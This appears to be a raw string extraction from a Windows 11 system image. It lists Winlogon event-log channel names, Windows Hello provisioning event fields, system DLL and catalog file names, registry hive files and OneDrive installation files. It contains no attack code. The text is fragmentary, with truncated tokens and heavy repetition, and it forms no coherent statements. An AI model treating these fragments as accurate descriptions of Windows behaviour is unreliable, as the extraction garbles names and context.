Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv dows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Sens Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Profiles Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational GPClient Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational TermSrv Microsoft-Windows-Winlogon Microsoft-Windows-Winlogon/Operational Microsoft-Windows-Winlogon Microsoft- Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-User Device Registration Microsoft-Windows-User Device Registration/Admin EventData Data Message DeviceIsJoined AADPrt NgcPolicyEnabled NgcPostLogonProvisioningEnabled NgcHardwarePolicyMet UserIsRemote LogonCertRequired MachinePolicySource UseCloudTrust CloudTgt Windows Hello for Business provisioning will not be launched. Not Tested Not Tested Not Tested Not Tested Not Tested none Not Tested Not Tested Microsoft-Windows-User Device Registration Microsoft-Windows-User Device Registration/Admin Windows Hello for Business provisioning will not be launched. Not Tested Not Tested Not Tested Not Tested Not Tested none Not Tested Not Tested Microsoft-Windows-User Device Registration Microsoft-Windows-User Device Registration/Admin Windows Hello for Business provisioning will not be launched. Not Tested Not Tested Not Tested Not Tested Not Tested none Not Tested Not Tested Microsoft-Windows-User Device Registration Microsoft-Windows-User Device Registration/Admin Windows Hello for Business provisioning will not be launched. Not Tested Not Tested Not Tested Not Tested Not Tested none Not Tested Not Tested LA7088~1.PNG LargeTile.scale-200_altform-colorful_theme-light.png LA7E49~1.PNG LargeTile.scale-400.png WebExperienceHost.dll WofCompressedData $DSC MICROS~1.XBO Microsoft.XboxIdentityProvider_8wekyb3d8bbwe $I300 $I30 $I30 LOCALS~1 RoamingState ROAMIN~1 AccountsService.dll WofCompressedData $DSC WebExperienceHost.dll WofCompressedData $DSC MAILIC~1.PNG MailIcon.targetsize-256.png MAILIC~2.PNG MailIcon.targetsize-96.png metadata.dll $DSC metadata.dll WofCompressedData $DSC mf.dll mf.dll WofCompressedData $DSC mf.dll mf.dll WofCompressedData $DSC MFPERF~1.DLL mfperfhelper.dll mfperfhelper.dll WofCompressedData $DSC MFPERF~1.DLL mfperfhelper.dll mfperfhelper.dll WofCompressedData $DSC $DSC MFPERF~1.DLL mfperfhelper.dll $DSC $DSC mfplat.dll mfplat.dll WofCompressedData $DSC WofCompressedData $DSC Microsoft-Windows-MosHost.dll $DSC MICROS~2.DLL Microsoft-Windows-MosHost.dll $DSC WofCompressedData $DSC MICROS~1.DLL $DSC WofCompressedData $DSC MICROS~1.DLL $DSC Fluency MsSp7en-GB.acl MsSp7en-GB.dub MsSp7en-GB.lex MsSp7en-US.acl MsSp7en-US.dub MsSp7en-US.lex Credentials CREDEN~1 Cryptoe Internet Explorer INTERN~1 Network Protect Spelling SystemCertificates SYSTEM~1 Vaultws Windows SMARTC~1.DLL SmartCardSimulator.dll SmartCardSimulator.dll WofCompressedData $DSC SMARTS~1.DLL smartscreen.dll WofCompressedData $DSC SMARTS~1.DLL smartscreen.dll0 smartscreen.dll WofCompressedData $DSC WofCompressedData $DSC SMARTS~1.DLL smartscreen.dll $DSC SMARTS~1.DLL smartscreen.dll WofCompressedData $DSC $DSC SMARTS~1.DLL smartscreen.dll WofCompressedData $DSC WofCompressedData $DSC SMARTS~2.DLL smartscreenps.dll $DSC WofCompressedData $DSC SMARTS~2.DLL smartscreenps.dll $DSC PARAME~1.EVT Parameters.evtx SNDVOL~1.DLL SndVolSSO.dll SndVolSSO.dll WofCompressedData $DSC SNDVOL~1.DLL SndVolSSO.dll SndVolSSO.dll WofCompressedData $DSC $DSC SNDVOL~1.DLL SndVolSSO.dll $DSC $DSC 892580777767344DCAEF580FFA143EA6_EF1B61DD3F93C58DBD0734F13C15C0F6F9 892580~10AF 892580~2ABB 8EC9B1D0ABBD7F98B401D425828828CE_C3B8FE07C4B32D5A2F50BA04A173C36B 8EC9B1~1129 B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 B76BE6~1129 B76BE6~2129 C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 C8E534~10AF E20381~10AF E256CA~10AF E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F E2C6CB~1 E2C6CB~274F E2C6CB~374F E2C6CB~474F FB0D848F74F70BB2EAA93746D24D9749 FB0D84~1 WofCompressedData THyperV-Storage-VirtualDevice-SMB-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat HYF386~1.CAT WofCompressedData 93B960~1.CAT 93b960f47dcb1ae4e32e41e07f34f9136c447edb0b8e1322f0c0c7cb788eb757.cat WofCompressedData $DSC WofCompressedData THyperV-Storage-VirtualDevice-SMB-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat HY79AF~1.CAT WofCompressedData 93FC22~1.CAT 93fc221305a3911938e5102f4cf928a735d077003bded64e58cbf9eb3075bb22.cat WofCompressedData $DSC 998949~1.CAT 9989499816551481a9fbeef838a8413d3b2765e795e67aedcea274ddcee0f81e.cat WofCompressedData $DSC 999268~1.CAT 9992687c920b32ad5b6c4df142799a73f892dbd81771e1ce7da1f501e779d5bf.cat WofCompressedData $DSC 99A6BE~1.CAT 99a6be3b004c072b1c1cb28b259ffb91bffa4c335731cfbb595fb125090e2d5e.cat $DSC 99B15B~1.CAT 99b15bb39da06a3fa02dbe1dc0562dec07e1a405b3fc39f39d1412747a351e60.cat WofCompressedData $DSC 9ABE63~1.CAT 9abe63983f4bd4d38dec69fc6a16eb1bdbf5580d7ab3a37fc22d08b1c7ffaa4e.cat WofCompressedData $DSC 9AE3AA~1.CAT 9ae3aa503dab7fba05fd75c92028584a36b1ce3d6e3e3558bdf0c14fd2637535.cat WofCompressedData $DSC 9AEC4F~1.CAT 9aec4ff8339b3da90309231546d45737810caa0ec831e664ba2e94fab869c2a9.cat WofCompressedData $DSC 9AED6F~1.CAT 9aed6fa492546f7491ce373a0daee7bb3ff415e898c9314f491822b74ef16421.cat WofCompressedData $DSC 9DC261~1.CAT 9dc2610b7f3314bb202708c06c786ef287094542e081e71266ac3a196f9c974d.cat WofCompressedData $DSC 9E30BC~1.CAT 9e30bcec7f6092608ffa1d54d76cd6886e07748a72400a1afdf2ba7d53012ab2.cat $DSC 9E38EF~1.CAT 9e38efb22f0ab8c07a829290d895577b27f8de5aeee24c039824973bec9dab58.cat WofCompressedData $DSC 9E95E4~1.CAT 9e95e43d6f8354e6aebe60859d21e1f4c51569a157742abed29901cc6dc0c2dc.cat WofCompressedData $DSC 9F42FB~1.CAT 9f42fbde3f813056312f4f62b524a2334b665f986deee2da29909fb7f46f00b0.cat WofCompressedData $DSC 9F5D18~1.CAT 9f5d180b19ae930b8caf4da02befb1812268573ee9f70172fab6b9f28734bb84.cat WofCompressedData $DSC 9F9255~1.CAT 9f925594d396d3581def9adc73fdf8b8fe18b8a84b585575973b10c7491c2c82.cat WofCompressedData $DSC 9F9577~1.CAT 9f95777be60ce1b71179b2e164011dfa34d7ec7f14f018cae6432485b2b00bb6.cat WofCompressedData $DSC A06268~1.CAT a0626894c00f830658233b8d5525e8ced72fb67c6762dd457997b36249d8bd4d.cat WofCompressedData $DSC A07A70~1.CAT a07a7008a0d1526744e8d90964432f1d85aab15a2d2ef4cc85dd2694a712e523.cat WofCompressedData $DSC A090BA~1.CAT a090ba5d86c055fbae4699834670f37c50a4d8a45ee3215df47e100c8128d8c8.cat WofCompressedData $DSC A0AE4A~1.CAT a0ae4ab3f64cdcd85c26185ea8b523f9642eb47f9efeaf36084ecd9f322eb2c3.cat WofCompressedData $DSC A0BF55~1.CAT a0bf5521b3019d8449dd31f75b4038b58f7fcba2b740bd58e6fd81b01e43d08b.cat WofCompressedData $DSC A0CB36~1.CAT a0cb36ca77268974bfb7049bc92077ae4bbfb9549b57b5da49d43b335c691595.cat WofCompressedData $DSC A0D68F~1.CAT a0d68ffb66824c94de9560c8783fc51e418c692abae443ac1107c4ddd4965645.cat WofCompressedData $DSC A10336~1.CAT a10336ab98cb1c0813931784dfb7734f800ef873b55e23c3b84179362b2cce3e.cat WofCompressedData $DSC 1033ica ActionCenterCachecu ACTION~1ion Application Shortcuts APPLIC~1 Burnest Cachest CloudStoree CLOUDS~1ore Explorerore GameExplorerT GAMEEX~1 History IECompatCache IECompatUaCache IECOMP~1ees IECOMP~2ees INetCachees INETCA~1ies INetCookies INETCO~1 Notifications NOTIFI~1 PPBCompatCache PPBCompatUaCacheT PPBCOM~1ser PPBCOM~2ser Ringtoneser RINGTO~1 RoamingTilesUsr ROAMIN~1 USRCLA~1.BLF USRCLA~1.LOG USRCLA~1.REG USRCLA~2.LOG USRCLA~2.REG WinX Temporary Internet Files TEMPOR~1.da Themess UsrClass.dat UsrClass.dat.LOG1 UsrClass.dat.LOG2 UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TM.blfSR UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms USRCLA~1.BLF USRCLA~1.LOG USRCLA~1.REG USRCLA~2.LOG USRCLA~2.REG WebCache WebCacheLock.dat WEBCAC~1.DAT WinX adal.dll alertIcon.png alertIconWhite.png ALERTI~1.PNG ALERTI~2.PNG am-ETti Animation.html ANIMAT~1.HTM AP0479~1.DLLore AP23C9~1.DLLore AP25B1~1.DLLore AP26B7~1.DLLore AP345C~1.DLLore AP40C7~1.DLLore AP4F63~1.DLLore AP507A~1.DLLore AP5574~1.DLLore AP5C76~1.DLLore AP5E4C~1.DLLore AP6221~1.DLLore AP743F~1.DLLore APBEA8~1.DLLore APC00F~1.DLLore APC7B0~1.DLLore APD0F3~1.DLLore APDC30~1.DLLore APDEA0~1.DLLore APEF2A~1.DLLore APF10C~1.DLLore APF2DB~1.DLLore APFAD9~1.DLLore APFD9C~1.DLLore api-ms-win-core-console-l1-1-0.dll api-ms-win-core-console-l1-2-0.dll AP750A~1.DLLore api-ms-win-core-datetime-l1-1-0.dll api-ms-win-core-namedpipe-l1-1-0.dll api-ms-win-crt-convert-l1-1-0.dll API-MS~1.DLL avutil-60.dll concrt140.dll FI1B5E~1.DLLxe FileSyncEvents.dll FILESY~1.DLL ipcsecproc.dll LIBGLE~1.DLL LIBSSL~1.DLL Microsoft.UI.Xaml.dll msvcp140.dll OneDrive.Sync.Service.HttpSvr.dll ONEDRI~1.PNG Qt5QmlWorkerScript.dll QUOTAE~1.PNG resources.pri swscale-9.dll tryforfree_light.png AVUTIL~1.DLL az-Latn-AZo AZ-LAT~1plo bn-INa_ bs-Latn-BAo BS-LAT~1plo Bundle_ ca-Es-VALENCIAS CA-ES-~1plo Camera_Upload_Success_Dark_728x360.png Camera_Upload_Success_Light_728x360.png Camera_Upload_Upsell_Dark_728x360.png Camera_Upload_Upsell_Light_728x360.png CAMERA~1.PNG CAMERA~2.PNG CAMERA~3.PNG CAMERA~4.PNG CheckboxWindows.dll CHECKB~1.DLL CollectSyncLogs.bat COLLEC~1.BAT com.microsoft.onedrive.nucleus.auth.provider.json COMMIC~1.JSO ELEVAT~1.PNG ELEVAT~2.PNG Error.png ErrorPage.html ErrorPage.js ERRORP~1.HTM ERRORP~1.JS ETWlog.dll exif.dll FileCoAuth.exe concrt140_app.dll CONCRT~1.DLL CONCRT~2.DLL Copilot cy-GBrr DimeErrorPage.html DIMEER~1.HTM ElevatedAppBlue.png ElevatedAppWhite.png ELEVAT~1.PNG ELEVAT~2.PNG en-GB.p en-US.p Error.png ErrorPage.html ErrorPage.js ERRORP~1.HTM ERRORP~1.JS ETWlog.dll exif.dll FI00CF~1.DLLxe FI0695~1.DLLxe FileSyncEvents.dll FileSyncFAL.dll FILESY~1.DLL FILESY~1.EXE FILESY~2.DLL FILESY~3.DLL FILESY~4.DLL FI224F~1.DLLxe FI483D~1.DLLxe FI650B~1.DLLxe FI7839~1.DLLxe FI7C24~1.DLLxe FI959C~1.DLLxe FI97D5~1.DLLxe FIA0A4~1.DLLxe FIAFC6~1.DLLxe FIB408~1.DLLxe FIC097~1.DLLxe FIDEBA~1.DLLxe FIE7B6~1.DLLxe FIFC38~1.DLLxe fil-PHA FileCoAuth.exe FileCoAuthLib64.dll FILECO~1.DLL FILECO~1.EXE FileSync.LocalizedResources.dll FileSync.Resources.dll FileSyncClient.dll FileSyncConfig.exe FileSyncCxP.dll FileSyncCxPImpl.dll FileSyncFSNtfs.dll FileSyncFSNtfsWB.dllZ FileSyncHelper.exe FileSyncHost.dll FILESY~1.DLL FILESY~1.EXE FILESY~2.DLL FILESY~2.EXE FILESY~3.DLL FILESY~4.DLL FileSyncFAL.dll FileSyncFALWB.dll FileSyncFS.dll FileSyncFSCache.dll FileSyncFSDbfs.dll FileSyncFSDbfsWB.dllZ FileSyncFSNtfs.dll FileSyncFSNtfsWB.dllZ FileSyncHelper.exe FileSyncHost.dll FileSyncRNWin32Lib.dll FileSyncSessions.dllZ FileSyncShell64.dll FileSyncSqlite3.dll FileSyncTelemetryExtensions.dll FileSyncViews.dll FILESY~1.DLL FILESY~1.EXE FILESY~2.DLL FILESY~2.EXE FILESY~3.DLL FILESY~4.DLL GetHelpWindow.html GETHEL~1.HTM hermes.dll HeroImageForQuotaToastsDark.png HeroImageForQuotaToastsLight.png HeroImage_FirstUploadLowCostSKUToast.png HEROIM~1.PNG HEROIM~2.PNG HEROIM~3.PNG info.png ipcfile.dll FILESY~1.EXE FILESY~2.DLL FILESY~2.EXE FILESY~3.DLL FILESY~4.DLL ga-IElp GetHelpWindow.html GETHEL~1.HTM hermes.dll HeroImageForQuotaToastsDark.png HeroImageForQuotaToastsLight.png HeroImage_FirstUploadLowCostSKUToast.png HEROIM~1.PNG HEROIM~2.PNG HEROIM~3.PNG i386.pn ig-NGpn imageformats IMAGEF~1 imagesn info.png ipcfile.dll libffi-8.dll libgcc_s_seh-1.dll LIBGCC~1.DLL libgio-2.0-0.dll LIBGIO~1.DLL libGLESv2.dll IPCSEC~1.DLL IRMProtectorspn IRMPRO~1oas KFMHeroToast.png KFMHER~1.PNG KFMLockedFileToast.png KFMLOC~1.PNG KFMScanExclusionToast.png KFMSCA~1.PNG km-KH2- ku-Arab lb-LU2- libbz2-1.dll libcrypto-3-x64.dll LIBCRY~1.DLL libEGL.dll libffi-8.dll libgcc_s_seh-1.dll LIBGCC~1.DLL libgio-2.0-0.dll LIBGIO~1.DLL libGLESv2.dll LIBICO~1.DLL libintl-8.dll LIBINT~1.DLL liblzma-5.dll LIBLZM~1.DLL libpcre2-8-0.dll LIBPCR~1.DLL libglib-2.0-0.dll LIBGLI~1.DLL libgmodule-2.0-0.dll LIBGMO~1.DLL libgobject-2.0-0.dll LIBGOB~1.DLL libgsf-1-114.dll LIBGSF~1.DLL libiconv-2.dll LIBICO~1.DLL libintl-8.dll LIBINT~1.DLL liblzma-5.dll LIBLZM~1.DLL libpcre2-8-0.dll LIBPCR~1.DLL libssl-3-x64.dll LIBSSL~1.DLL libwinpthread-1.dll LIBWIN~1.DLL libxml2-2.dll LIBXML~1.DLL LoadingPage.html LOADIN~1.HTM LoggingPlatform.dll LOGGIN~1.DLL LogUploader.dll LOGUPL~1.DLL Lottie.min.js LOTTIE~1.JS Microsoft.ReactNative.dll Microsoft.SharePoint.Calc.dll MICROS~1.DLL MICROS~2.DLL libwinpthread-1.dll LIBWIN~1.DLL libxml2-2.dll LIBXML~1.DLL LoadingPage.html LOADIN~1.HTM LoggingPlatform.dll LOGGIN~1.DLL LogoImagesr LOGOIM~1der LogUploader.dll LOGUPL~1.DLL Lottie.min.js LOTTIE~1.JS mi-NZso Microsoft.ReactNative.dll Microsoft.SharePoint.Calc.dll Microsoft.SharePoint.NativeMessagingClient.exe Microsoft.Toolkit.Win32.UI.XamlHost.dll MICROS~3.DLL MICROS~4.DLL minizip.dll mip_ClientTelemetry.dll MIP_CL~1.DLL mip_core.dll mip_file_sdk.dll MIP_FI~1.DLL mip_protection_sdk.dll MIP_PR~1.DLL mip_upe_sdk.dll MIP_UP~1.DLL msipc.dll MICROS~1.DLL MICROS~1.EXE MICROS~2.DLL MICROS~3.DLL MICROS~4.DLL minizip.dll mip_ClientTelemetry.dll MIP_CL~1.DLL mip_core.dll mip_file_sdk.dll MIP_FI~1.DLL mip_protection_sdk.dll MIP_PR~1.DLL mip_upe_sdk.dll MIP_UP~1.DLL ml-in5~ MS9025~1.DLL msipc.dll msvcp140_app.dll msvcp140_atomic_wait.dll MSVCP1~1.DLL MSVCP1~2.DLL MSVCP1~3.DLL MSVCP1~4.DLL nh.dll OneDrive.App.dll OneDrive.App.exe OneDrive.exe OneDrive.Sync.Service.dll ONEDRI~1.DLL ONEDRI~1.EXE ONEDRI~2.DLL msvcp140_1.dll msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll msvcp140_atomic_wait.dll MSVCP1~1.DLL MSVCP1~2.DLL MSVCP1~3.DLL MSVCP1~4.DLL mt-MTl nb-NOl ne-NPl nh.dll nn-NO1~ nso-ZA~ ON194F~1.EXE.dl ON1C81~1.DLL.dl ON3D95~1.EXE.dl ON6F84~1.EXE.dl ONB3EC~1.EXE.dl ONC81A~1.DLL.dl OneDrive.App.dll OneDrive.Sync.Service.dll OneDrive.Sync.Service.exe OneDrive.Sync.Service.exe OneDrive.Sync.Service.exe OneDrive.Sync.Service.exe ONEDRI~1.XML ONEDRI~2.DLL ONEDRI~2.EXE ONEDRI~3.DLL ONEDRI~3.EXE ONEDRI~4.DLL ONEDRI~4.EXE OneDrive.Sync.Service.png OneDrive.Sync.Service.WebSocketClient.dll OneDriveActionHelper.exe OneDriveFileLauncher.exe OneDriveLauncher.exeZ OneDriveLogo.png OneDrivePatcher.exe OneDriveSetup.exeeU OneDriveTelemetryExperimental.dll OneDriveTelemetryStable.dll OneDriveUpdaterService.exe ONEDRI~1.DLL ONEDRI~1.EXE 1.DLL ONEDRI~1.EXE DRI~1.DLL ONEDRI~1.EXE ONEDRI~1.XML ONEDRI~2.DLL ONEDRI~2.EXE ONEDRI~2.PNG ONEDRI~3.DLL ONEDRI~3.EXE ONEDRI~4.DLL ONEDRI~4.EXE Qt5Core.dll Qt5DBus.dll Qt5Gui.dll Qt5Network.dll QT5NET~1.DLL Qt5PrintSupport.dll QT5PRI~1.DLL Qt5Qml.dll Qt5QmlModels.dll QT5QML~1.DLL ONEDRI~2.DLL ONEDRI~2.EXE ONEDRI~2.PNG ONEDRI~3.DLL ONEDRI~3.EXE ONEDRI~4.DLL ONEDRI~4.EXE or-INre pa-Arab-PKl PA-ARA~1dll platformsll PLATFO~1dll pt-BRre pt-PTre Qt5Core.dll Qt5DBus.dll Qt5Gui.dll Qt5Network.dll QT5NET~1.DLL Qt5PrintSupport.dll QT5PRI~1.DLL Qt5Qml.dll Qt5QmlModels.dll Qt5QmlModels.dll Qt5Svg.dll Qt5Widgets.dll QT5WID~1.DLL Qt5WinExtras.dll QT5WIN~1.DLL QuotaCritical_default.png QuotaCritical_Win11.png QUOTAC~1.PNG QUOTAC~2.PNG QuotaError.png QT5QML~1.DLL QT5QML~2.DLL Qt5Quick.dll Qt5QuickControls2.dll Qt5QuickTemplates2.dll QT5QUI~1.DLL QT5QUI~2.DLL Qt5Svg.dll Qt5Widgets.dll QT5WID~1.DLL Qt5WinExtras.dll QT5WIN~1.DLL QuotaCritical_default.png QuotaCritical_Win11.png QUOTAC~1.PNG QUOTAC~2.PNG QuotaError.png QuotaFull_default.png QuotaFull_Win11.png QUOTAF~1.PNG QUOTAF~2.PNG QuotaNearing.png QUOTAN~1.PNG QuotaOverLimit_default.png QUOTAO~1.PNG quotawarning_dark.png quotawarning_light.png QUOTAW~1.PNG QUOTAW~2.PNG ReactNativePicker.dll ReactNativeVideoCPP.dll REACTN~1.DLL REACTN~2.DLL QuotaFull_default.png QuotaFull_Win11.png QUOTAF~1.PNG QUOTAF~2.PNG QuotaNearing.png QUOTAN~1.PNG QuotaOverLimit_default.png QUOTAO~1.PNG quotawarning_dark.png quotawarning_light.png QUOTAW~1.PNG QUOTAW~2.PNG quz-PEa ReactNativePicker.dll ReactNativeVideoCPP.dll REACTN~1.DLL REACTN~2.DLL RESOUR~1.PRI RNSVG.dll ScreenshotOptIn.gif SCREEN~1.GIF swscale-9.dll SWSCAL~1.DLL SyncEngine.dll SYNCEN~1.DLL Telemetry.dll TELEME~1.DLL TestSharePage.html TESTSH~1.HTM ThirdPartyNotices.txt THIRDP~1.TXT ToastInfoIcon.png TOASTI~1.PNG tryforfree_dark.png RESOUR~1.PRI RNSVG.dll ScreenshotOptIn.gif SCREEN~1.GIF sourcemapsa SOURCE~1cka SparsePackage SPARSE~19.d sr-Cyrl-BAd sr-Cyrl-RSd SR-CYR~19.d SR-CYR~29.d sr-Latn-RSd SR-LAT~19.d SyncEngine.dll SYNCEN~1.DLL Telemetry.dll TELEME~1.DLL TestSharePage.html TESTSH~1.HTM ThirdPartyNotices.txt THIRDP~1.TXT tn-ZAIn ToastInfoIcon.png TOASTI~1.PNG tryforfree_dark.png TRYFOR~1.PNG TRYFOR~2.PNG tzdatas ucrtbase.dll UpdateRingSettings.dll UPDATE~1.DLL vcamp140_app.dll VCAMP1~1.DLL vccorlib140_app.dll VCCORL~1.DLL vcomp140_app.dll VCOMP1~1.DLL vcruntime140.dll vcruntime140_1.dll vcruntime140_1_app.dll vcruntime140_app.dllZ VCRUNT~1.DLL VCRUNT~2.DLL VCRUNT~3.DLL VCRUNT~4.DLL Warning.png WebView2Loader.dll WEBVIE~1.DLL WnsClientApi.dll WNSCLI~1.DLL xh-ZA.d yo-NG.d zh-CN.d zh-TW.d zlib1.dll SWSCAL~1.DLL SyncEngine.dll SYNCEN~1.DLL Telemetry.dll TELEME~1.DLL TestSharePage.html TESTSH~1.HTM ThirdPartyNotices.txt THIRDP~1.TXT tn-ZAIn ToastInfoIcon.png TOASTI~1.PNG tryforfree_dark.png GHBMNN~1 ghbmnnjooekpmoecnnnilnnbdlolhkhi $I300 1.101.1_0 1101~1.1_0 EDGEPR~1.ICO 